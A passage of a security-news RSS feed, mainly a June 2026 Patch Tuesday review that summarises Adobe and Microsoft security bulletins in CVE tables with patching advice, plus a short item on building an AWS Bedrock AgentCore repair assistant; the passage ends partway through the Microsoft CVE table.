<li>Native hooks: bound relay lifetimes so abandoned native hook connections cannot linger indefinitely. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618041701" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91550" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91550/hovercard" href="https://github.com/openclaw/openclaw/pull/91550">#91550</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build an AI-Powered Equipment Repair Assistant Using Amazon Bedrock AgentCore]]></title>
<description><![CDATA[In this post, you build an AI-powered equipment repair assistant using Amazon Bedrock AgentCore that helps farmers and field technicians diagnose equipment problems, identify required parts, and access manufacturer-approved repair procedures through natural language. The solution uses AgentCore R...]]></description>
<link>https://tsecurity.de/de/3588152/ai-nachrichten/build-an-ai-powered-equipment-repair-assistant-using-amazon-bedrock-agentcore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3588152/ai-nachrichten/build-an-ai-powered-equipment-repair-assistant-using-amazon-bedrock-agentcore/</guid>
<pubDate>Wed, 10 Jun 2026 17:24:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, you build an AI-powered equipment repair assistant using Amazon Bedrock AgentCore that helps farmers and field technicians diagnose equipment problems, identify required parts, and access manufacturer-approved repair procedures through natural language. The solution uses AgentCore Runtime with the Strands Agents SDK, Amazon Nova 2 Lite as the foundation model, Amazon Bedrock Knowledge Base for retrieval-augmented generation (RAG), and AgentCore Memory for conversation persistence.]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3585580/it-security-nachrichten/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585580/it-security-nachrichten/the-june-2026-security-update-review/</guid>
<pubDate>Tue, 09 Jun 2026 20:20:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our <a href="https://www.youtube.com/playlist?list=PLeFSM_a8Jri75_5-NpydcFneOaTvr3vJE">YouTube</a> channel. It should be posted within a couple of hours after the release.</p><p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  




  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  
    





<link rel="File-List" href="new2026-Jun-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
